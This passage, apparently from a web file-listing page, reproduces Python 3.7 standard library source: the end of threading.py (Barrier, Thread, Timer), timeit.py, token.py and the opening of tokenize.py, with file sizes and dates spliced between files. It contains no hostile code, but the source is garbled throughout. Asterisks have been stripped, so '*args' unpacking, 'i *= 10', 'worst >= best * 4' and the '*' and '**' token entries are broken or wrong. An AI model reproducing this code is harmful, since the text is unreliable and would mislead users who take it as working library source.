Java. See # http://sourceware.org/pthreads-win32/manual/pthread_barrier_init.html and # http://java.sun.com/j2se/1.5.0/docs/api/java/util/concurrent/ # CyclicBarrier.html # for information. # We maintain two main states, 'filling' and 'draining' enabling the barrier # to be cyclic. Threads are not allowed into it until it has fully drained # since the previous cycle. In addition, a 'resetting' state exists which is # similar to 'draining' except that threads leave with a BrokenBarrierError, # and a 'broken' state in which all threads get the exception. class Barrier: """Implements a Barrier. Useful for synchronizing a fixed number of threads at known synchronization points. Threads block on 'wait()' and are simultaneously awoken once they have all made that call. """ def __init__(self, parties, action=None, timeout=None): """Create a barrier, initialised to 'parties' threads. 'action' is a callable which, when supplied, will be called by one of the threads after they have all entered the barrier and just prior to releasing them all. If a 'timeout' is provided, it is used as the default for all subsequent 'wait()' calls. """ self._cond = Condition(Lock()) self._action = action self._timeout = timeout self._parties = parties self._state = 0 #0 filling, 1, draining, -1 resetting, -2 broken self._count = 0 def wait(self, timeout=None): """Wait for the barrier. When the specified number of threads have started waiting, they are all simultaneously awoken. If an 'action' was provided for the barrier, one of the threads will have executed that callback prior to returning. Returns an individual index number from 0 to 'parties-1'. """ if timeout is None: timeout = self._timeout with self._cond: self._enter() # Block while the barrier drains. index = self._count self._count += 1 try: if index + 1 == self._parties: # We release the barrier self._release() else: # We wait until someone releases us self._wait(timeout) return index finally: self._count -= 1 # Wake up any threads waiting for barrier to drain. self._exit() # Block until the barrier is ready for us, or raise an exception # if it is broken. def _enter(self): while self._state in (-1, 1): # It is draining or resetting, wait until done self._cond.wait() #see if the barrier is in a broken state if self._state < 0: raise BrokenBarrierError assert self._state == 0 # Optionally run the 'action' and release the threads waiting # in the barrier. def _release(self): try: if self._action: self._action() # enter draining state self._state = 1 self._cond.notify_all() except: #an exception during the _action handler. Break and reraise self._break() raise # Wait in the barrier until we are released. Raise an exception # if the barrier is reset or broken. def _wait(self, timeout): if not self._cond.wait_for(lambda : self._state != 0, timeout): #timed out. Break the barrier self._break() raise BrokenBarrierError if self._state < 0: raise BrokenBarrierError assert self._state == 1 # If we are the last thread to exit the barrier, signal any threads # waiting for the barrier to drain. def _exit(self): if self._count == 0: if self._state in (-1, 1): #resetting or draining self._state = 0 self._cond.notify_all() def reset(self): """Reset the barrier to the initial state. Any threads currently waiting will get the BrokenBarrier exception raised. """ with self._cond: if self._count > 0: if self._state == 0: #reset the barrier, waking up threads self._state = -1 elif self._state == -2: #was broken, set it to reset state #which clears when the last thread exits self._state = -1 else: self._state = 0 self._cond.notify_all() def abort(self): """Place the barrier into a 'broken' state. Useful in case of error. Any currently waiting threads and threads attempting to 'wait()' will have BrokenBarrierError raised. """ with self._cond: self._break() def _break(self): # An internal error was detected. The barrier is set to # a broken state all parties awakened. self._state = -2 self._cond.notify_all() @property def parties(self): """Return the number of threads required to trip the barrier.""" return self._parties @property def n_waiting(self): """Return the number of threads currently waiting at the barrier.""" # We don't need synchronization here since this is an ephemeral result # anyway. It returns the correct value in the steady state. if self._state == 0: return self._count return 0 @property def broken(self): """Return True if the barrier is in a broken state.""" return self._state == -2 # exception raised by the Barrier class class BrokenBarrierError(RuntimeError): pass # Helper to generate new thread names _counter = _count().__next__ _counter() # Consume 0 so first non-main thread has id 1. def _newname(template="Thread-%d"): return template % _counter() # Active thread administration _active_limbo_lock = _allocate_lock() _active = {} # maps thread id to Thread object _limbo = {} _dangling = WeakSet() # Set of Thread._tstate_lock locks of non-daemon threads used by _shutdown() # to wait until all Python thread states get deleted: # see Thread._set_tstate_lock(). _shutdown_locks_lock = _allocate_lock() _shutdown_locks = set() # Main class for threads class Thread: """A class that represents a thread of control. This class can be safely subclassed in a limited fashion. There are two ways to specify the activity: by passing a callable object to the constructor, or by overriding the run() method in a subclass. """ _initialized = False # Need to store a reference to sys.exc_info for printing # out exceptions when a thread tries to use a global var. during interp. # shutdown and thus raises an exception about trying to perform some # operation on/with a NoneType _exc_info = _sys.exc_info # Keep sys.exc_clear too to clear the exception just before # allowing .join() to return. #XXX __exc_clear = _sys.exc_clear def __init__(self, group=None, target=None, name=None, args=(), kwargs=None, , daemon=None): """This constructor should always be called with keyword arguments. Arguments are: group* should be None; reserved for future extension when a ThreadGroup class is implemented. target is the callable object to be invoked by the run() method. Defaults to None, meaning nothing is called. name is the thread name. By default, a unique name is constructed of the form "Thread-N" where N is a small decimal number. args is the argument tuple for the target invocation. Defaults to (). kwargs is a dictionary of keyword arguments for the target invocation. Defaults to {}. If a subclass overrides the constructor, it must make sure to invoke the base class constructor (Thread.__init__()) before doing anything else to the thread. """ assert group is None, "group argument must be None for now" if kwargs is None: kwargs = {} self._target = target self._name = str(name or _newname()) self._args = args self._kwargs = kwargs if daemon is not None: self._daemonic = daemon else: self._daemonic = current_thread().daemon self._ident = None self._tstate_lock = None self._started = Event() self._is_stopped = False self._initialized = True # sys.stderr is not stored in the class like # sys.exc_info since it can be changed between instances self._stderr = _sys.stderr # For debugging and _after_fork() _dangling.add(self) def _reset_internal_locks(self, is_alive): # private! Called by _after_fork() to reset our internal locks as # they may be in an invalid state leading to a deadlock or crash. self._started._reset_internal_locks() if is_alive: self._set_tstate_lock() else: # The thread isn't alive after fork: it doesn't have a tstate # anymore. self._is_stopped = True self._tstate_lock = None def __repr__(self): assert self._initialized, "Thread.__init__() was not called" status = "initial" if self._started.is_set(): status = "started" self.is_alive() # easy way to get ._is_stopped set when appropriate if self._is_stopped: status = "stopped" if self._daemonic: status += " daemon" if self._ident is not None: status += " %s" % self._ident return "<%s(%s, %s)>" % (self.__class__.__name__, self._name, status) def start(self): """Start the thread's activity. It must be called at most once per thread object. It arranges for the object's run() method to be invoked in a separate thread of control. This method will raise a RuntimeError if called more than once on the same thread object. """ if not self._initialized: raise RuntimeError("thread.__init__() not called") if self._started.is_set(): raise RuntimeError("threads can only be started once") with _active_limbo_lock: _limbo[self] = self try: _start_new_thread(self._bootstrap, ()) except Exception: with _active_limbo_lock: del _limbo[self] raise self._started.wait() def run(self): """Method representing the thread's activity. You may override this method in a subclass. The standard run() method invokes the callable object passed to the object's constructor as the target argument, if any, with sequential and keyword arguments taken from the args and kwargs arguments, respectively. """ try: if self._target: self._target(self._args, self._kwargs) finally: # Avoid a refcycle if the thread is running a function with # an argument that has a member that points to the thread. del self._target, self._args, self._kwargs def _bootstrap(self): # Wrapper around the real bootstrap code that ignores # exceptions during interpreter cleanup. Those typically # happen when a daemon thread wakes up at an unfortunate # moment, finds the world around it destroyed, and raises some # random exception while trying to report the exception in # _bootstrap_inner() below . Those random exceptions # don't help anybody, and they confuse users, so we suppress # them. We suppress them only when it appears that the world # indeed has already been destroyed, so that exceptions in # _bootstrap_inner() during normal business hours are properly # reported. Also, we only suppress them for daemonic threads; # if a non-daemonic encounters this, something else is wrong. try: self._bootstrap_inner() except: if self._daemonic and _sys is None: return raise def _set_ident(self): self._ident = get_ident() def _set_tstate_lock(self): """ Set a lock object which will be released by the interpreter when the underlying thread state (see pystate.h) gets deleted. """ self._tstate_lock = _set_sentinel() self._tstate_lock.acquire() if not self.daemon: with _shutdown_locks_lock: _shutdown_locks.add(self._tstate_lock) def _bootstrap_inner(self): try: self._set_ident() self._set_tstate_lock() self._started.set() with _active_limbo_lock: _active[self._ident] = self del _limbo[self] if _trace_hook: _sys.settrace(_trace_hook) if _profile_hook: _sys.setprofile(_profile_hook) try: self.run() except SystemExit: pass except: # If sys.stderr is no more (most likely from interpreter # shutdown) use self._stderr. Otherwise still use sys (as in # _sys) in case sys.stderr was redefined since the creation of # self. if _sys and _sys.stderr is not None: print("Exception in thread %s:\n%s" % (self.name, _format_exc()), file=_sys.stderr) elif self._stderr is not None: # Do the best job possible w/o a huge amt. of code to # approximate a traceback (code ideas from # Lib/traceback.py) exc_type, exc_value, exc_tb = self._exc_info() try: print(( "Exception in thread " + self.name + " (most likely raised during interpreter shutdown):"), file=self._stderr) print(( "Traceback (most recent call last):"), file=self._stderr) while exc_tb: print(( ' File "%s", line %s, in %s' % (exc_tb.tb_frame.f_code.co_filename, exc_tb.tb_lineno, exc_tb.tb_frame.f_code.co_name)), file=self._stderr) exc_tb = exc_tb.tb_next print(("%s: %s" % (exc_type, exc_value)), file=self._stderr) self._stderr.flush() # Make sure that exc_tb gets deleted since it is a memory # hog; deleting everything else is just for thoroughness finally: del exc_type, exc_value, exc_tb finally: # Prevent a race in # test_threading.test_no_refcycle_through_target when # the exception keeps the target alive past when we # assert that it's dead. #XXX self._exc_clear() pass finally: with _active_limbo_lock: try: # We don't call self._delete() because it also # grabs _active_limbo_lock. del _active[get_ident()] except: pass def _stop(self): # After calling ._stop(), .is_alive() returns False and .join() returns # immediately. ._tstate_lock must be released before calling ._stop(). # # Normal case: C code at the end of the thread's life # (release_sentinel in _threadmodule.c) releases ._tstate_lock, and # that's detected by our ._wait_for_tstate_lock(), called by .join() # and .is_alive(). Any number of threads _may_ call ._stop() # simultaneously (for example, if multiple threads are blocked in # .join() calls), and they're not serialized. That's harmless - # they'll just make redundant rebindings of ._is_stopped and # ._tstate_lock. Obscure: we rebind ._tstate_lock last so that the # "assert self._is_stopped" in ._wait_for_tstate_lock() always works # (the assert is executed only if ._tstate_lock is None). # # Special case: _main_thread releases ._tstate_lock via this # module's _shutdown() function. lock = self._tstate_lock if lock is not None: assert not lock.locked() self._is_stopped = True self._tstate_lock = None if not self.daemon: with _shutdown_locks_lock: _shutdown_locks.discard(lock) def _delete(self): "Remove current thread from the dict of currently running threads." with _active_limbo_lock: del _active[get_ident()] # There must not be any python code between the previous line # and after the lock is released. Otherwise a tracing function # could try to acquire the lock again in the same thread, (in # current_thread()), and would block. def join(self, timeout=None): """Wait until the thread terminates. This blocks the calling thread until the thread whose join() method is called terminates -- either normally or through an unhandled exception or until the optional timeout occurs. When the timeout argument is present and not None, it should be a floating point number specifying a timeout for the operation in seconds (or fractions thereof). As join() always returns None, you must call is_alive() after join() to decide whether a timeout happened -- if the thread is still alive, the join() call timed out. When the timeout argument is not present or None, the operation will block until the thread terminates. A thread can be join()ed many times. join() raises a RuntimeError if an attempt is made to join the current thread as that would cause a deadlock. It is also an error to join() a thread before it has been started and attempts to do so raises the same exception. """ if not self._initialized: raise RuntimeError("Thread.__init__() not called") if not self._started.is_set(): raise RuntimeError("cannot join thread before it is started") if self is current_thread(): raise RuntimeError("cannot join current thread") if timeout is None: self._wait_for_tstate_lock() else: # the behavior of a negative timeout isn't documented, but # historically .join(timeout=x) for x<0 has acted as if timeout=0 self._wait_for_tstate_lock(timeout=max(timeout, 0)) def _wait_for_tstate_lock(self, block=True, timeout=-1): # Issue #18808: wait for the thread state to be gone. # At the end of the thread's life, after all knowledge of the thread # is removed from C data structures, C code releases our _tstate_lock. # This method passes its arguments to _tstate_lock.acquire(). # If the lock is acquired, the C code is done, and self._stop() is # called. That sets ._is_stopped to True, and ._tstate_lock to None. lock = self._tstate_lock if lock is None: # already determined that the C code is done assert self._is_stopped elif lock.acquire(block, timeout): lock.release() self._stop() @property def name(self): """A string used for identification purposes only. It has no semantics. Multiple threads may be given the same name. The initial name is set by the constructor. """ assert self._initialized, "Thread.__init__() not called" return self._name @name.setter def name(self, name): assert self._initialized, "Thread.__init__() not called" self._name = str(name) @property def ident(self): """Thread identifier of this thread or None if it has not been started. This is a nonzero integer. See the get_ident() function. Thread identifiers may be recycled when a thread exits and another thread is created. The identifier is available even after the thread has exited. """ assert self._initialized, "Thread.__init__() not called" return self._ident def is_alive(self): """Return whether the thread is alive. This method returns True just before the run() method starts until just after the run() method terminates. The module function enumerate() returns a list of all alive threads. """ assert self._initialized, "Thread.__init__() not called" if self._is_stopped or not self._started.is_set(): return False self._wait_for_tstate_lock(False) return not self._is_stopped def isAlive(self): """Return whether the thread is alive. This method is deprecated, use is_alive() instead. """ import warnings warnings.warn('isAlive() is deprecated, use is_alive() instead', PendingDeprecationWarning, stacklevel=2) return self.is_alive() @property def daemon(self): """A boolean value indicating whether this thread is a daemon thread. This must be set before start() is called, otherwise RuntimeError is raised. Its initial value is inherited from the creating thread; the main thread is not a daemon thread and therefore all threads created in the main thread default to daemon = False. The entire Python program exits when only daemon threads are left. """ assert self._initialized, "Thread.__init__() not called" return self._daemonic @daemon.setter def daemon(self, daemonic): if not self._initialized: raise RuntimeError("Thread.__init__() not called") if self._started.is_set(): raise RuntimeError("cannot set daemon status of active thread") self._daemonic = daemonic def isDaemon(self): return self.daemon def setDaemon(self, daemonic): self.daemon = daemonic def getName(self): return self.name def setName(self, name): self.name = name # The timer class was contributed by Itamar Shtull-Trauring class Timer(Thread): """Call a function after a specified number of seconds: t = Timer(30.0, f, args=None, kwargs=None) t.start() t.cancel() # stop the timer's action if it's still waiting """ def __init__(self, interval, function, args=None, kwargs=None): Thread.__init__(self) self.interval = interval self.function = function self.args = args if args is not None else [] self.kwargs = kwargs if kwargs is not None else {} self.finished = Event() def cancel(self): """Stop the timer if it hasn't finished yet.""" self.finished.set() def run(self): self.finished.wait(self.interval) if not self.finished.is_set(): self.function(self.args, *self.kwargs) self.finished.set() # Special thread class to represent the main thread class _MainThread(Thread): def __init__(self): Thread.__init__(self, name="MainThread", daemon=False) self._set_tstate_lock() self._started.set() self._set_ident() with _active_limbo_lock: _active[self._ident] = self # Dummy thread class to represent threads not started here. # These aren't garbage collected when they die, nor can they be waited for. # If they invoke anything in threading.py that calls current_thread(), they # leave an entry in the _active dict forever after. # Their purpose is to return something* from current_thread(). # They are marked as daemon threads so we won't wait for them # when we exit (conform previous semantics). class _DummyThread(Thread): def __init__(self): Thread.__init__(self, name=_newname("Dummy-%d"), daemon=True) self._started.set() self._set_ident() with _active_limbo_lock: _active[self._ident] = self def _stop(self): pass def is_alive(self): assert not self._is_stopped and self._started.is_set() return True def join(self, timeout=None): assert False, "cannot join a dummy thread" # Global API functions def current_thread(): """Return the current Thread object, corresponding to the caller's thread of control. If the caller's thread of control was not created through the threading module, a dummy thread object with limited functionality is returned. """ try: return _active[get_ident()] except KeyError: return _DummyThread() currentThread = current_thread def active_count(): """Return the number of Thread objects currently alive. The returned count is equal to the length of the list returned by enumerate(). """ with _active_limbo_lock: return len(_active) + len(_limbo) activeCount = active_count def _enumerate(): # Same as enumerate(), but without the lock. Internal use only. return list(_active.values()) + list(_limbo.values()) def enumerate(): """Return a list of all Thread objects currently alive. The list includes daemonic threads, dummy thread objects created by current_thread(), and the main thread. It excludes terminated threads and threads that have not yet been started. """ with _active_limbo_lock: return list(_active.values()) + list(_limbo.values()) from _thread import stack_size # Create the main thread object, # and make it available for the interpreter # (Py_Main) as threading._shutdown. _main_thread = _MainThread() def _shutdown(): """ Wait until the Python thread state of all non-daemon threads get deleted. """ # Obscure: other threads may be waiting to join _main_thread. That's # dubious, but some code does it. We can't wait for C code to release # the main thread's tstate_lock - that won't happen until the interpreter # is nearly dead. So we release it here. Note that just calling _stop() # isn't enough: other threads may already be waiting on _tstate_lock. if _main_thread._is_stopped: # _shutdown() was already called return # Main thread tlock = _main_thread._tstate_lock # The main thread isn't finished yet, so its thread state lock can't have # been released. assert tlock is not None assert tlock.locked() tlock.release() _main_thread._stop() # Join all non-deamon threads while True: with _shutdown_locks_lock: locks = list(_shutdown_locks) _shutdown_locks.clear() if not locks: break for lock in locks: # mimick Thread.join() lock.acquire() lock.release() # new threads can be spawned while we were waiting for the other # threads to complete def main_thread(): """Return the main thread object. In normal conditions, the main thread is the thread from which the Python interpreter was started. """ return _main_thread # get thread-local implementation, either from the thread # module, or from the python fallback try: from _thread import _local as local except ImportError: from _threading_local import local def _after_fork(): """ Cleanup threading module state that should not exist after a fork. """ # Reset _active_limbo_lock, in case we forked while the lock was held # by another (non-forked) thread. http://bugs.python.org/issue874900 global _active_limbo_lock, _main_thread global _shutdown_locks_lock, _shutdown_locks _active_limbo_lock = _allocate_lock() # fork() only copied the current thread; clear references to others. new_active = {} try: current = _active[get_ident()] except KeyError: # fork() was called in a thread which was not spawned # by threading.Thread. For example, a thread spawned # by thread.start_new_thread(). current = _MainThread() _main_thread = current # reset _shutdown() locks: threads re-register their _tstate_lock below _shutdown_locks_lock = _allocate_lock() _shutdown_locks = set() with _active_limbo_lock: # Dangling thread instances must still have their locks reset, # because someone may join() them. threads = set(_enumerate()) threads.update(_dangling) for thread in threads: # Any lock/condition variable may be currently locked or in an # invalid state, so we reinitialize them. if thread is current: # There is only one active thread. We reset the ident to # its new value since it can have changed. thread._reset_internal_locks(True) ident = get_ident() thread._ident = ident new_active[ident] = thread else: # All the others are already stopped. thread._reset_internal_locks(False) thread._stop() _limbo.clear() _active.clear() _active.update(new_active) assert len(_active) == 1 if hasattr(_os, "register_at_fork"): _os.register_at_fork(after_in_child=_after_fork)	48.13 KB	2024-04-17 17:55
📄 timeit.py #! /opt/alt/python37/bin/python3.7 """Tool for measuring execution time of small code snippets. This module avoids a number of common traps for measuring execution times. See also Tim Peters' introduction to the Algorithms chapter in the Python Cookbook, published by O'Reilly. Library usage: see the Timer class. Command line usage: python timeit.py [-n N] [-r N] [-s S] [-p] [-h] [--] [statement] Options: -n/--number N: how many times to execute 'statement' (default: see below) -r/--repeat N: how many times to repeat the timer (default 5) -s/--setup S: statement to be executed once initially (default 'pass'). Execution time of this setup statement is NOT timed. -p/--process: use time.process_time() (default is time.perf_counter()) -v/--verbose: print raw timing results; repeat for more digits precision -u/--unit: set the output time unit (nsec, usec, msec, or sec) -h/--help: print this usage message and exit --: separate options from statement, use when statement starts with - statement: statement to be timed (default 'pass') A multi-line statement may be given by specifying each line as a separate argument; indented lines are possible by enclosing an argument in quotes and using leading spaces. Multiple -s options are treated similarly. If -n is not given, a suitable number of loops is calculated by trying increasing numbers from the sequence 1, 2, 5, 10, 20, 50, ... until the total time is at least 0.2 seconds. Note: there is a certain baseline overhead associated with executing a pass statement. It differs between versions. The code here doesn't try to hide it, but you should be aware of it. The baseline overhead can be measured by invoking the program without arguments. Classes: Timer Functions: timeit(string, string) -> float repeat(string, string) -> list default_timer() -> float """ import gc import sys import time import itertools __all__ = ["Timer", "timeit", "repeat", "default_timer"] dummy_src_name = "<timeit-src>" default_number = 1000000 default_repeat = 5 default_timer = time.perf_counter _globals = globals # Don't change the indentation of the template; the reindent() calls # in Timer.__init__() depend on setup being indented 4 spaces and stmt # being indented 8 spaces. template = """ def inner(_it, _timer{init}): {setup} _t0 = _timer() for _i in _it: {stmt} _t1 = _timer() return _t1 - _t0 """ def reindent(src, indent): """Helper to reindent a multi-line statement.""" return src.replace("\n", "\n" + " "indent) class Timer: """Class for timing execution speed of small code snippets. The constructor takes a statement to be timed, an additional statement used for setup, and a timer function. Both statements default to 'pass'; the timer function is platform-dependent (see module doc string). If 'globals' is specified, the code will be executed within that namespace (as opposed to inside timeit's namespace). To measure the execution time of the first statement, use the timeit() method. The repeat() method is a convenience to call timeit() multiple times and return a list of results. The statements may contain newlines, as long as they don't contain multi-line string literals. """ def __init__(self, stmt="pass", setup="pass", timer=default_timer, globals=None): """Constructor. See class doc string.""" self.timer = timer local_ns = {} global_ns = _globals() if globals is None else globals init = '' if isinstance(setup, str): # Check that the code can be compiled outside a function compile(setup, dummy_src_name, "exec") stmtprefix = setup + '\n' setup = reindent(setup, 4) elif callable(setup): local_ns['_setup'] = setup init += ', _setup=_setup' stmtprefix = '' setup = '_setup()' else: raise ValueError("setup is neither a string nor callable") if isinstance(stmt, str): # Check that the code can be compiled outside a function compile(stmtprefix + stmt, dummy_src_name, "exec") stmt = reindent(stmt, 8) elif callable(stmt): local_ns['_stmt'] = stmt init += ', _stmt=_stmt' stmt = '_stmt()' else: raise ValueError("stmt is neither a string nor callable") src = template.format(stmt=stmt, setup=setup, init=init) self.src = src # Save for traceback display code = compile(src, dummy_src_name, "exec") exec(code, global_ns, local_ns) self.inner = local_ns["inner"] def print_exc(self, file=None): """Helper to print a traceback from the timed code. Typical use: t = Timer(...) # outside the try/except try: t.timeit(...) # or t.repeat(...) except: t.print_exc() The advantage over the standard traceback is that source lines in the compiled template will be displayed. The optional file argument directs where the traceback is sent; it defaults to sys.stderr. """ import linecache, traceback if self.src is not None: linecache.cache[dummy_src_name] = (len(self.src), None, self.src.split("\n"), dummy_src_name) # else the source is already stored somewhere else traceback.print_exc(file=file) def timeit(self, number=default_number): """Time 'number' executions of the main statement. To be precise, this executes the setup statement once, and then returns the time it takes to execute the main statement a number of times, as a float measured in seconds. The argument is the number of times through the loop, defaulting to one million. The main statement, the setup statement and the timer function to be used are passed to the constructor. """ it = itertools.repeat(None, number) gcold = gc.isenabled() gc.disable() try: timing = self.inner(it, self.timer) finally: if gcold: gc.enable() return timing def repeat(self, repeat=default_repeat, number=default_number): """Call timeit() a few times. This is a convenience function that calls the timeit() repeatedly, returning a list of results. The first argument specifies how many times to call timeit(), defaulting to 5; the second argument specifies the timer argument, defaulting to one million. Note: it's tempting to calculate mean and standard deviation from the result vector and report these. However, this is not very useful. In a typical case, the lowest value gives a lower bound for how fast your machine can run the given code snippet; higher values in the result vector are typically not caused by variability in Python's speed, but by other processes interfering with your timing accuracy. So the min() of the result is probably the only number you should be interested in. After that, you should look at the entire vector and apply common sense rather than statistics. """ r = [] for i in range(repeat): t = self.timeit(number) r.append(t) return r def autorange(self, callback=None): """Return the number of loops and time taken so that total time >= 0.2. Calls the timeit method with increasing numbers from the sequence 1, 2, 5, 10, 20, 50, ... until the time taken is at least 0.2 second. Returns (number, time_taken). If callback* is given and is not None, it will be called after each trial with two arguments: ``callback(number, time_taken)``. """ i = 1 while True: for j in 1, 2, 5: number = i * j time_taken = self.timeit(number) if callback: callback(number, time_taken) if time_taken >= 0.2: return (number, time_taken) i = 10 def timeit(stmt="pass", setup="pass", timer=default_timer, number=default_number, globals=None): """Convenience function to create Timer object and call timeit method.""" return Timer(stmt, setup, timer, globals).timeit(number) def repeat(stmt="pass", setup="pass", timer=default_timer, repeat=default_repeat, number=default_number, globals=None): """Convenience function to create Timer object and call repeat method.""" return Timer(stmt, setup, timer, globals).repeat(repeat, number) def main(args=None, , _wrap_timer=None): """Main program, used when run as a script. The optional 'args' argument specifies the command line to be parsed, defaulting to sys.argv[1:]. The return value is an exit code to be passed to sys.exit(); it may be None to indicate success. When an exception happens during timing, a traceback is printed to stderr and the return value is 1. Exceptions at other times (including the template compilation) are not caught. '_wrap_timer' is an internal interface used for unit testing. If it is not None, it must be a callable that accepts a timer function and returns another timer function (used for unit testing). """ if args is None: args = sys.argv[1:] import getopt try: opts, args = getopt.getopt(args, "n:u:s:r:tcpvh", ["number=", "setup=", "repeat=", "time", "clock", "process", "verbose", "unit=", "help"]) except getopt.error as err: print(err) print("use -h/--help for command line help") return 2 timer = default_timer stmt = "\n".join(args) or "pass" number = 0 # auto-determine setup = [] repeat = default_repeat verbose = 0 time_unit = None units = {"nsec": 1e-9, "usec": 1e-6, "msec": 1e-3, "sec": 1.0} precision = 3 for o, a in opts: if o in ("-n", "--number"): number = int(a) if o in ("-s", "--setup"): setup.append(a) if o in ("-u", "--unit"): if a in units: time_unit = a else: print("Unrecognized unit. Please select nsec, usec, msec, or sec.", file=sys.stderr) return 2 if o in ("-r", "--repeat"): repeat = int(a) if repeat <= 0: repeat = 1 if o in ("-p", "--process"): timer = time.process_time if o in ("-v", "--verbose"): if verbose: precision += 1 verbose += 1 if o in ("-h", "--help"): print(__doc__, end=' ') return 0 setup = "\n".join(setup) or "pass" # Include the current directory, so that local imports work (sys.path # contains the directory of this script, rather than the current # directory) import os sys.path.insert(0, os.curdir) if _wrap_timer is not None: timer = _wrap_timer(timer) t = Timer(stmt, setup, timer) if number == 0: # determine number so that 0.2 <= total time < 2.0 callback = None if verbose: def callback(number, time_taken): msg = "{num} loop{s} -> {secs:.{prec}g} secs" plural = (number != 1) print(msg.format(num=number, s='s' if plural else '', secs=time_taken, prec=precision)) try: number, _ = t.autorange(callback) except: t.print_exc() return 1 if verbose: print() try: raw_timings = t.repeat(repeat, number) except: t.print_exc() return 1 def format_time(dt): unit = time_unit if unit is not None: scale = units[unit] else: scales = [(scale, unit) for unit, scale in units.items()] scales.sort(reverse=True) for scale, unit in scales: if dt >= scale: break return "%.g %s" % (precision, dt / scale, unit) if verbose: print("raw times: %s" % ", ".join(map(format_time, raw_timings))) print() timings = [dt / number for dt in raw_timings] best = min(timings) print("%d loop%s, best of %d: %s per loop" % (number, 's' if number != 1 else '', repeat, format_time(best))) best = min(timings) worst = max(timings) if worst >= best 4: import warnings warnings.warn_explicit("The test results are likely unreliable. " "The worst time (%s) was more than four times " "slower than the best time (%s)." % (format_time(worst), format_time(best)), UserWarning, '', 0) return None if __name__ == "__main__": sys.exit(main())	13.18 KB	2024-04-17 17:55
📄 token.py """Token constants (from "token.h").""" __all__ = ['tok_name', 'ISTERMINAL', 'ISNONTERMINAL', 'ISEOF'] # This file is automatically generated; please don't muck it up! # # To update the symbols in this file, 'cd' to the top directory of # the python source tree after building the interpreter and run: # # ./python Lib/token.py #--start constants-- ENDMARKER = 0 NAME = 1 NUMBER = 2 STRING = 3 NEWLINE = 4 INDENT = 5 DEDENT = 6 LPAR = 7 RPAR = 8 LSQB = 9 RSQB = 10 COLON = 11 COMMA = 12 SEMI = 13 PLUS = 14 MINUS = 15 STAR = 16 SLASH = 17 VBAR = 18 AMPER = 19 LESS = 20 GREATER = 21 EQUAL = 22 DOT = 23 PERCENT = 24 LBRACE = 25 RBRACE = 26 EQEQUAL = 27 NOTEQUAL = 28 LESSEQUAL = 29 GREATEREQUAL = 30 TILDE = 31 CIRCUMFLEX = 32 LEFTSHIFT = 33 RIGHTSHIFT = 34 DOUBLESTAR = 35 PLUSEQUAL = 36 MINEQUAL = 37 STAREQUAL = 38 SLASHEQUAL = 39 PERCENTEQUAL = 40 AMPEREQUAL = 41 VBAREQUAL = 42 CIRCUMFLEXEQUAL = 43 LEFTSHIFTEQUAL = 44 RIGHTSHIFTEQUAL = 45 DOUBLESTAREQUAL = 46 DOUBLESLASH = 47 DOUBLESLASHEQUAL = 48 AT = 49 ATEQUAL = 50 RARROW = 51 ELLIPSIS = 52 # Don't forget to update the table _PyParser_TokenNames in tokenizer.c! OP = 53 ERRORTOKEN = 54 # These aren't used by the C tokenizer but are needed for tokenize.py COMMENT = 55 NL = 56 ENCODING = 57 N_TOKENS = 58 # Special definitions for cooperation with parser NT_OFFSET = 256 #--end constants-- tok_name = {value: name for name, value in globals().items() if isinstance(value, int) and not name.startswith('_')} __all__.extend(tok_name.values()) def ISTERMINAL(x): return x < NT_OFFSET def ISNONTERMINAL(x): return x >= NT_OFFSET def ISEOF(x): return x == ENDMARKER def _main(): import re import sys args = sys.argv[1:] inFileName = args and args[0] or "Include/token.h" outFileName = "Lib/token.py" if len(args) > 1: outFileName = args[1] try: fp = open(inFileName) except OSError as err: sys.stdout.write("I/O error: %s\n" % str(err)) sys.exit(1) with fp: lines = fp.read().split("\n") prog = re.compile( r"#define[ \t][ \t]([A-Z0-9][A-Z0-9_])[ \t][ \t]([0-9][0-9])", re.IGNORECASE) comment_regex = re.compile( r"^\s/\\s(.+?)\s\/\s$", re.IGNORECASE) tokens = {} prev_val = None for line in lines: match = prog.match(line) if match: name, val = match.group(1, 2) val = int(val) tokens[val] = {'token': name} # reverse so we can sort them... prev_val = val else: comment_match = comment_regex.match(line) if comment_match and prev_val is not None: comment = comment_match.group(1) tokens[prev_val]['comment'] = comment keys = sorted(tokens.keys()) # load the output skeleton from the target: try: fp = open(outFileName) except OSError as err: sys.stderr.write("I/O error: %s\n" % str(err)) sys.exit(2) with fp: format = fp.read().split("\n") try: start = format.index("#--start constants--") + 1 end = format.index("#--end constants--") except ValueError: sys.stderr.write("target does not contain format markers") sys.exit(3) lines = [] for key in keys: lines.append("%s = %d" % (tokens[key]["token"], key)) if "comment" in tokens[key]: lines.append("# %s" % tokens[key]["comment"]) format[start:end] = lines try: fp = open(outFileName, 'w') except OSError as err: sys.stderr.write("I/O error: %s\n" % str(err)) sys.exit(4) with fp: fp.write("\n".join(format)) if __name__ == "__main__": _main()	3.67 KB	2024-04-17 17:55
📄 tokenize.py """Tokenization help for Python programs. tokenize(readline) is a generator that breaks a stream of bytes into Python tokens. It decodes the bytes according to PEP-0263 for determining source file encoding. It accepts a readline-like method which is called repeatedly to get the next line of input (or b"" for EOF). It generates 5-tuples with these members: the token type (see token.py) the token (a string) the starting (row, column) indices of the token (a 2-tuple of ints) the ending (row, column) indices of the token (a 2-tuple of ints) the original line (string) It is designed to match the working of the Python tokenizer exactly, except that it produces COMMENT tokens for comments and gives type OP for all operators. Additionally, all token lists start with an ENCODING token which tells you which encoding was used to decode the bytes stream. """ __author__ = 'Ka-Ping Yee <ping@lfw.org>' __credits__ = ('GvR, ESR, Tim Peters, Thomas Wouters, Fred Drake, ' 'Skip Montanaro, Raymond Hettinger, Trent Nelson, ' 'Michael Foord') from builtins import open as _builtin_open from codecs import lookup, BOM_UTF8 import collections from io import TextIOWrapper from itertools import chain import itertools as _itertools import re import sys from token import * cookie_re = re.compile(r'^[ \t\f]#.?coding[:=][ \t]([-\w.]+)', re.ASCII) blank_re = re.compile(br'^[ \t\f](?:[#\r\n]\|$)', re.ASCII) import token __all__ = token.__all__ + ["tokenize", "detect_encoding", "untokenize", "TokenInfo"] del token EXACT_TOKEN_TYPES = { '(': LPAR, ')': RPAR, '[': LSQB, ']': RSQB, ':': COLON, ',': COMMA, ';': SEMI, '+': PLUS, '-': MINUS, '': STAR, '/': SLASH, '\|': VBAR, '&': AMPER, '<': LESS, '>': GREATER, '=': EQUAL, '.': DOT, '%': PERCENT, '{': LBRACE, '}': RBRACE, '==': EQEQUAL, '!=': NOTEQUAL, '<=': LESSEQUAL, '>=': GREATEREQUAL, '~': TILDE, '^': CIRCUMFLEX, '<<': LEFTSHIFT, '>>': RIGHTSHIFT, '': DOUBLESTAR, '+=': 